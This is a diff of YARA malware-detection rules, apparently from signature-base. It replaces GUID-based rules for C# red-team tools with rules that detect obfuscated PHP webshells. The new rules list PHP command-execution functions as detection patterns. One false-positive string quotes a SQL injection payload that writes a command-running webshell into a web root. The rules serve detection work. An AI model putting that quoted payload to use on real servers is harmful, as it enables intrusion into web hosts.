+		$gfp_3 = " GET /"
+		$gfp_4 = " POST /"
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <300KB and not ( any of ($gfp*)) and $geval
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Browser_Externalc2 : FILE
+rule SIGNATURE_BASE_WEBSHELL_PHP_Double_Eval_Tiny : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "PHP webshell which probably hides the input inside an eval()ed obfuscated string"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "8c309522-90e7-5f5a-b456-3a472756d397"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/mdsecactivebreach/Browser-ExternalC2"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2177-L2191"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d5121396444c406049fcb6c24680a067341943a6982f67c7c5cd11947d3468bc"
+		id = "868db363-83d3-57e2-ac8d-c6125e9bdd64"
+		date = "2021-01-11"
+		modified = "2023-07-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L956-L1007"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f66fb918751acc7b88a17272a044b5242797976c73a6e54ac6b04b02f61e9761"
+		hash = "6b2f0a3bd80019dea536ddbf92df36ab897dd295840cb15bb7b159d0ee2106ff"
+		hash = "aabfd179aaf716929c8b820eefa3c1f613f8dcac"
+		hash = "9780c70bd1c76425d4313ca7a9b89dda77d2c664"
+		hash = "006620d2a701de73d995fc950691665c0692af11"
+		logic_hash = "cf0405e8a44497574d75291bf86bf9413d9a64140e820f7f5a655fe5302c6918"
 		score = 75
-		quality = 85
+		quality = 42
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "10a730cd-9517-42d5-b3e3-a2383515cca9" ascii wide
-		$typelibguid0up = "10A730CD-9517-42D5-B3E3-A2383515CCA9" ascii wide
+		$payload = /(\beval[\t ]{0,500}\([^)]|\bassert[\t ]{0,500}\([^)])/ nocase wide ascii
+		$fp1 = "clone" fullword wide ascii
+		$fp2 = "* @assert" ascii
+		$fp3 = "*@assert" ascii
+		$php_short = "<?" wide ascii
+		$no_xml1 = "<?xml version" nocase wide ascii
+		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
+		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
+		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+		$no_pdf = "<?xpacket"
+		$php_new1 = /<\?=[^?]/ wide ascii
+		$php_new2 = "<?php" nocase wide ascii
+		$php_new3 = "<script language=\"php" nocase wide ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize >70 and filesize <300 and ((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and #payload>=2 and not any of ($fp*)
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Offensivepowershelltasking : FILE
+rule SIGNATURE_BASE_WEBSHELL_PHP_OBFUSC : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "PHP webshell obfuscated"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "d221e24d-a2ef-51e2-95bf-4b91b438d9cf"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/leechristensen/OffensivePowerShellTasking"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2193-L2209"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6de43b8349ff5f0e87d91e522be802a5dd18745441ffb76dcef63d2f1cd25332"
+		id = "f66e337b-8478-5cd3-b01a-81133edaa8e5"
+		date = "2021-01-12"
+		modified = "2024-03-11"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L1009-L1135"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "eec9ac58a1e763f5ea0f7fa249f1fe752047fa60"
+		hash = "181a71c99a4ae13ebd5c94bfc41f9ec534acf61cd33ef5bce5fb2a6f48b65bf4"
+		hash = "76d4e67e13c21662c4b30aab701ce9cdecc8698696979e504c288f20de92aee7"
+		hash = "1d0643927f04cb1133f00aa6c5fa84aaf88e5cf14d7df8291615b402e8ab6dc2"
+		logic_hash = "8d7150a4fc657efe3526d5f8f624a66e7186a3f42b4605cc349bd31deeb71b7f"
 		score = 75
-		quality = 85
+		quality = -73
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "d432c332-3b48-4d06-bedb-462e264e6688" ascii wide
-		$typelibguid0up = "D432C332-3B48-4D06-BEDB-462E264E6688" ascii wide
-		$typelibguid1lo = "5796276f-1c7a-4d7b-a089-550a8c19d0e8" ascii wide
-		$typelibguid1up = "5796276F-1C7A-4D7B-A089-550A8C19D0E8" ascii wide
+		$gfp1 = "eval(\"return [$serialised_parameter"
+		$gfp2 = "$this->assert(strpos($styles, $"
+		$gfp3 = "$module = new $_GET['module']($_GET['scope']);"
+		$gfp4 = "$plugin->$_POST['action']($_POST['id']);"
+		$gfp5 = "$_POST[partition_by]($_POST["
+		$gfp6 = "$object = new $_REQUEST['type']($_REQUEST['id']);"
+		$gfp7 = "The above example code can be easily exploited by passing in a string such as"
+		$gfp8 = "Smarty_Internal_Debug::start_render($_template);"
+		$gfp9 = "?p4yl04d=UNION%20SELECT%20'<?%20system($_GET['command']);%20?>',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php"
+		$gfp10 = "[][}{;|]\\|\\\\[+=]\\|<?=>?"
+		$gfp11 = "(eval (getenv \"EPROLOG\")))"
+		$gfp12 = "ZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9saWNlbnNlLm9wZW5jYXJ0LWFwaS5jb20vbGljZW5zZS5waHA/b3JkZXJ"
+		$php_short = "<?" wide ascii
+		$no_xml1 = "<?xml version" nocase wide ascii
+		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
+		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
+		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+		$no_pdf = "<?xpacket"
+		$php_new1 = /<\?=[^?]/ wide ascii
+		$php_new2 = "<?php" nocase wide ascii
+		$php_new3 = "<script language=\"php" nocase wide ascii
+		$o1 = "chr(" nocase wide ascii
+		$o2 = "chr (" nocase wide ascii
+		$o3 = "goto" fullword nocase wide ascii
+		$o4 = "\\x9" wide ascii
+		$o5 = "\\x3" wide ascii
+		$o6 = "\\61" wide ascii
+		$o7 = "\\44" wide ascii
+		$o8 = "\\112" wide ascii
+		$o9 = "\\120" wide ascii
+		$fp1 = "$goto" wide ascii
+		$cpayload1 = /\beval[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload2 = /\bexec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload3 = /\bshell_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload4 = /\bpassthru[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload5 = /\bsystem[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload6 = /\bpopen[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload7 = /\bproc_open[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload8 = /\bpcntl_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload9 = /\bassert[\n\t ]{0,500}\([^)0]/ nocase wide ascii
+		$cpayload10 = /\bpreg_replace[\n\t ]{0,500}\([^\)]{1,100}\/[ismxADSUXju]{0,11}(e|\\x65)/ nocase wide ascii
+		$cpayload12 = /\bmb_ereg_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
+		$cpayload13 = /\bmb_eregi_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
+		$cpayload20 = /\bcreate_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload21 = /\bReflectionFunction[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload22 = /fetchall\(PDO::FETCH_FUNC[\n\t ]{0,500}[,}\)]/ nocase wide ascii
+		$m_cpayload_preg_filter1 = /\bpreg_filter[\n\t ]{0,500}(\([^\)]|\/\*)/ nocase wide ascii
+		$m_cpayload_preg_filter2 = "'|.*|e'" nocase wide ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		not ( any of ($gfp*)) and ((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and ( not $fp1 and (( filesize <20KB and ((#o1+#o2)>50 or #o3>10 or (#o4+#o5+#o6+#o7+#o8+#o9)>20)) or ( filesize <200KB and ((#o1+#o2)>200 or #o3>30 or (#o4+#o5+#o6+#o7+#o8+#o9)>30)))) and ( any of ($cpayload*) or all of ($m_cpayload_preg_filter*))
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Dohc2 : FILE
+rule SIGNATURE_BASE_WEBSHELL_PHP_OBFUSC_Encoded : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "PHP webshell obfuscated by encoding"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "0bb38f10-ca5c-5c18-97c9-540b6367d150"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/SpiderLabs/DoHC2"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2211-L2225"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d94760229bd6df29f7e281ee9d38068699d6529b93ed90c8846635bd496d602a"
-		score = 75
-		quality = 85
+		id = "134c1189-1b41-58d5-af66-beaa4795a704"
+		date = "2021-04-18"
+		modified = "2023-04-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L1137-L1188"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "119fc058c9c5285498a47aa271ac9a27f6ada1bf4d854ccd4b01db993d61fc52"
+		hash = "d5ca3e4505ea122019ea263d6433221030b3f64460d3ce2c7d0d63ed91162175"
+		hash = "8a1e2d72c82f6a846ec066d249bfa0aaf392c65149d39b7b15ba19f9adc3b339"
+		logic_hash = "c2a88e48374f949fcc9c14b773f7709c96b3147d1982ae9721708474ee5a3dcd"
+		score = 70
+		quality = -64
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "9877a948-2142-4094-98de-e0fbb1bc4062" ascii wide
-		$typelibguid0up = "9877A948-2142-4094-98DE-E0FBB1BC4062" ascii wide
+		$enc_eval1 = /(e|\\x65|\\101)(\\x76|\\118)(a|\\x61|\\97)(l|\\x6c|\\108)(\(|\\x28|\\40)/ wide ascii nocase
+		$enc_eval2 = /(\\x65|\\101)(v|\\x76|\\118)(a|\\x61|\\97)(l|\\x6c|\\108)(\(|\\x28|\\40)/ wide ascii nocase
+		$enc_assert1 = /(a|\\97|\\x61)(\\115|\\x73)(s|\\115|\\x73)(e|\\101|\\x65)(r|\\114|\\x72)(t|\\116|\\x74)(\(|\\x28|\\40)/ wide ascii nocase
+		$enc_assert2 = /(\\97|\\x61)(s|\\115|\\x73)(s|\\115|\\x73)(e|\\101|\\x65)(r|\\114|\\x72)(t|\\116|\\x74)(\(|\\x28|\\40)/ wide ascii nocase
+		$php_short = "<?" wide ascii
+		$no_xml1 = "<?xml version" nocase wide ascii
+		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
+		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
+		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+		$no_pdf = "<?xpacket"
+		$php_new1 = /<\?=[^?]/ wide ascii
+		$php_new2 = "<?php" nocase wide ascii
+		$php_new3 = "<script language=\"php" nocase wide ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <700KB and ((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and any of ($enc*)
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Syscallpoc : FILE
+rule SIGNATURE_BASE_WEBSHELL_PHP_OBFUSC_Encoded_Mixed_Dec_And_Hex : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "PHP webshell obfuscated by encoding of mixed hex and dec"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "1ed5e226-0dcd-5397-b5e8-41f8a14981a1"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/SolomonSklash/SyscallPOC"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2227-L2243"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "95f6c80e810c4f3b680958d8fe41983f965e47994ddc2f85756d570341b54bb9"
+		id = "9ae920e2-17c8-58fd-8566-90d461a54943"
+		date = "2021-04-18"
+		modified = "2023-04-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L1190-L1246"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0e21931b16f30b1db90a27eafabccc91abd757fa63594ba8a6ad3f477de1ab1c"
+		hash = "929975272f0f42bf76469ed89ebf37efcbd91c6f8dac1129c7ab061e2564dd06"
+		hash = "88fce6c1b589d600b4295528d3fcac161b581f739095b99cd6c768b7e16e89ff"
+		hash = "883f48ed4e9646da078cabf6b8b4946d9f199660262502650f76450ecf60ddd5"
+		hash = "50389c3b95a9de00220fc554258fda1fef01c62dad849e66c8a92fc749523457"
+		hash = "c4ab4319a77b751a45391aa01cde2d765b095b0e3f6a92b0b8626d5c7e3ad603"
+		hash = "df381f04fca2522e2ecba0f5de3f73a655d1540e1cf865970f5fa3bf52d2b297"
+		hash = "401388d8b97649672d101bf55694dd175375214386253d0b4b8d8d801a89549c"
+		hash = "99fc39a12856cc1a42bb7f90ffc9fe0a5339838b54a63e8f00aa98961c900618"
+		hash = "fb031af7aa459ee88a9ca44013a76f6278ad5846aa20e5add4aeb5fab058d0ee"
+		hash = "dd5d8a9b4bb406e0b8f868165a1714fe54ffb18e621582210f96f6e5ae850b33"
+		hash = "0ff05e6695074f98b0dee6200697a997c509a652f746d2c1c92c0b0a0552ca47"
+		logic_hash = "d9b4d224d43915cf08050c173627b314c3e41a30ecfffe28038281eadc114e51"
 		score = 75
-		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-
-	strings:
-		$typelibguid0lo = "1e54637b-c887-42a9-af6a-b4bd4e28cda9" ascii wide
-		$typelibguid0up = "1E54637B-C887-42A9-AF6A-B4BD4E28CDA9" ascii wide
-		$typelibguid1lo = "198d5599-d9fc-4a74-87f4-5077318232ad" ascii wide
-		$typelibguid1up = "198D5599-D9FC-4A74-87F4-5077318232AD" ascii wide
-
-	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
-}
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Pen_Test_Tools : FILE
-{
-	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "00fb98a9-e615-5fb6-a555-4326b93e2c24"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/awillard1/Pen-Test-Tools"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2245-L2281"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "413cef91cab63cec432cb8deb2876f0370f6fe8b5e194b513bc905aca755e732"
-		score = 50
-		quality = 83
+		quality = 17
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "922e7fdc-33bf-48de-bc26-a81f85462115" ascii wide
-		$typelibguid0up = "922E7FDC-33BF-48DE-BC26-A81F85462115" ascii wide
-		$typelibguid1lo = "ad5205dd-174d-4332-96d9-98b076d6fd82" ascii wide
-		$typelibguid1up = "AD5205DD-174D-4332-96D9-98B076D6FD82" ascii wide
-		$typelibguid2lo = "b67e7550-f00e-48b3-ab9b-4332b1254a86" ascii wide
-		$typelibguid2up = "B67E7550-F00E-48B3-AB9B-4332B1254A86" ascii wide
-		$typelibguid3lo = "5e95120e-b002-4495-90a1-cd3aab2a24dd" ascii wide
-		$typelibguid3up = "5E95120E-B002-4495-90A1-CD3AAB2A24DD" ascii wide
-		$typelibguid4lo = "295017f2-dc31-4a87-863d-0b9956c2b55a" ascii wide
-		$typelibguid4up = "295017F2-DC31-4A87-863D-0B9956C2B55A" ascii wide
-		$typelibguid5lo = "abbaa2f7-1452-43a6-b98e-10b2c8c2ba46" ascii wide
-		$typelibguid5up = "ABBAA2F7-1452-43A6-B98E-10B2C8C2BA46" ascii wide
-		$typelibguid6lo = "a4043d4c-167b-4326-8be4-018089650382" ascii wide
-		$typelibguid6up = "A4043D4C-167B-4326-8BE4-018089650382" ascii wide
-		$typelibguid7lo = "51abfd75-b179-496e-86db-62ee2a8de90d" ascii wide
-		$typelibguid7up = "51ABFD75-B179-496E-86DB-62EE2A8DE90D" ascii wide
-		$typelibguid8lo = "a06da7f8-f87e-4065-81d8-abc33cb547f8" ascii wide
-		$typelibguid8up = "A06DA7F8-F87E-4065-81D8-ABC33CB547F8" ascii wide
-		$typelibguid9lo = "ee510712-0413-49a1-b08b-1f0b0b33d6ef" ascii wide
-		$typelibguid9up = "EE510712-0413-49A1-B08B-1F0B0B33D6EF" ascii wide
-		$typelibguid10lo = "9780da65-7e25-412e-9aa1-f77d828819d6" ascii wide
-		$typelibguid10up = "9780DA65-7E25-412E-9AA1-F77D828819D6" ascii wide
-		$typelibguid11lo = "7913fe95-3ad5-41f5-bf7f-e28f080724fe" ascii wide
-		$typelibguid11up = "7913FE95-3AD5-41F5-BF7F-E28F080724FE" ascii wide
+		$mix = /['"](\w|\\x?[0-9a-f]{2,3})[\\x0-9a-f]{2,20}\\\d{1,3}[\\x0-9a-f]{2,20}\\x[0-9a-f]{2}\\/ wide ascii nocase
+		$php_short = "<?" wide ascii
+		$no_xml1 = "<?xml version" nocase wide ascii
+		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
+		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
+		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+		$no_pdf = "<?xpacket"
+		$php_new1 = /<\?=[^?]/ wide ascii
+		$php_new2 = "<?php" nocase wide ascii
+		$php_new3 = "<script language=\"php" nocase wide ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <700KB and ((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and any of ($mix*)
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_The_Collection : FILE
+rule SIGNATURE_BASE_WEBSHELL_PHP_OBFUSC_Tiny : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "PHP webshell obfuscated"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "4ae78576-ab75-5679-9a29-4d9a1ff03f15"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/Tlgyt/The-Collection"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2283-L2305"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a2cceb8173d9cf3a429a07f2abd2e09970a1807258a315991495a1904f0f4af0"
+		id = "d78e495f-54d2-5f5f-920f-fb6612afbca3"
+		date = "2021-01-12"
+		modified = "2024-03-11"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L1248-L1343"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b7b7aabd518a2f8578d4b1bc9a3af60d155972f1"
+		hash = "694ec6e1c4f34632a9bd7065f73be473"
+		hash = "5c871183444dbb5c8766df6b126bd80c624a63a16cc39e20a0f7b002216b2ba5"
+		logic_hash = "993f1c98362dcbc207c6ceacb116a27d44505dc6dfa1874def780af50422e1b9"
 		score = 75
-		quality = 85
+		quality = -190
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "579159ff-3a3d-46a7-b069-91204feb21cd" ascii wide
-		$typelibguid0up = "579159FF-3A3D-46A7-B069-91204FEB21CD" ascii wide
-		$typelibguid1lo = "5b7dd9be-c8c3-4c4f-a353-fefb89baa7b3" ascii wide
-		$typelibguid1up = "5B7DD9BE-C8C3-4C4F-A353-FEFB89BAA7B3" ascii wide
-		$typelibguid2lo = "43edcb1f-3098-4a23-a7f2-895d927bc661" ascii wide
-		$typelibguid2up = "43EDCB1F-3098-4A23-A7F2-895D927BC661" ascii wide
-		$typelibguid3lo = "5f19919d-cd51-4e77-973f-875678360a6f" ascii wide
-		$typelibguid3up = "5F19919D-CD51-4E77-973F-875678360A6F" ascii wide
-		$typelibguid4lo = "17fbc926-e17e-4034-ba1b-fb2eb57f5dd3" ascii wide
-		$typelibguid4up = "17FBC926-E17E-4034-BA1B-FB2EB57F5DD3" ascii wide
+		$obf1 = /\w'\.'\w/ wide ascii
+		$obf2 = /\w\"\.\"\w/ wide ascii
+		$obf3 = "].$" wide ascii
+		$gfp1 = "eval(\"return [$serialised_parameter"
+		$gfp2 = "$this->assert(strpos($styles, $"
+		$gfp3 = "$module = new $_GET['module']($_GET['scope']);"
+		$gfp4 = "$plugin->$_POST['action']($_POST['id']);"
+		$gfp5 = "$_POST[partition_by]($_POST["
+		$gfp6 = "$object = new $_REQUEST['type']($_REQUEST['id']);"
+		$gfp7 = "The above example code can be easily exploited by passing in a string such as"
+		$gfp8 = "Smarty_Internal_Debug::start_render($_template);"
+		$gfp9 = "?p4yl04d=UNION%20SELECT%20'<?%20system($_GET['command']);%20?>',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php"
+		$gfp10 = "[][}{;|]\\|\\\\[+=]\\|<?=>?"
+		$gfp11 = "(eval (getenv \"EPROLOG\")))"
+		$gfp12 = "ZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9saWNlbnNlLm9wZW5jYXJ0LWFwaS5jb20vbGljZW5zZS5waHA/b3JkZXJ"
+		$php_short = "<?" wide ascii
+		$no_xml1 = "<?xml version" nocase wide ascii
+		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
+		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
+		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+		$no_pdf = "<?xpacket"
+		$php_new1 = /<\?=[^?]/ wide ascii
+		$php_new2 = "<?php" nocase wide ascii
+		$php_new3 = "<script language=\"php" nocase wide ascii
+		$cpayload1 = /\beval[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload2 = /\bexec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload3 = /\bshell_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload4 = /\bpassthru[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload5 = /\bsystem[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload6 = /\bpopen[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload7 = /\bproc_open[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload8 = /\bpcntl_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload9 = /\bassert[\n\t ]{0,500}\([^)0]/ nocase wide ascii
+		$cpayload10 = /\bpreg_replace[\n\t ]{0,500}\([^\)]{1,100}\/[ismxADSUXju]{0,11}(e|\\x65)/ nocase wide ascii
+		$cpayload12 = /\bmb_ereg_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
+		$cpayload13 = /\bmb_eregi_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
+		$cpayload20 = /\bcreate_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload21 = /\bReflectionFunction[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload22 = /fetchall\(PDO::FETCH_FUNC[\n\t ]{0,500}[,}\)]/ nocase wide ascii
+		$m_cpayload_preg_filter1 = /\bpreg_filter[\n\t ]{0,500}(\([^\)]|\/\*)/ nocase wide ascii
+		$m_cpayload_preg_filter2 = "'|.*|e'" nocase wide ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <500 and not ( any of ($gfp*)) and ((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and ( any of ($cpayload*) or all of ($m_cpayload_preg_filter*)) and ((#obf1+#obf2)>2 or #obf3>10)
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Change_Lockscreen : FILE
+rule SIGNATURE_BASE_WEBSHELL_PHP_OBFUSC_Str_Replace : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "PHP webshell which eval()s obfuscated string"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "a817c6e8-95f9-56c6-97b8-4be06658629f"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/nccgroup/Change-Lockscreen"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2307-L2321"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "92ec9daecd17c8b0aa92f266b2cd81e0198a28d41e43d526bc94b9a2df23015b"
+		id = "1f5b93c9-bdeb-52c7-a99a-69869634a574"
+		date = "2021-01-12"
+		modified = "2023-04-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L1345-L1400"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "691305753e26884d0f930cda0fe5231c6437de94"
+		hash = "7efd463aeb5bf0120dc5f963b62463211bd9e678"
+		hash = "fb655ddb90892e522ae1aaaf6cd8bde27a7f49ef"
+		hash = "d1863aeca1a479462648d975773f795bb33a7af2"
+		hash = "4d31d94b88e2bbd255cf501e178944425d40ee97"
+		hash = "e1a2af3477d62a58f9e6431f5a4a123fb897ea80"
+		logic_hash = "74fb86a7ee7342ede9f49ef004a92fb7bdf06ca62f8e8f0ea1c6adcff96bcb2d"
 		score = 75
-		quality = 85
+		quality = 46
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
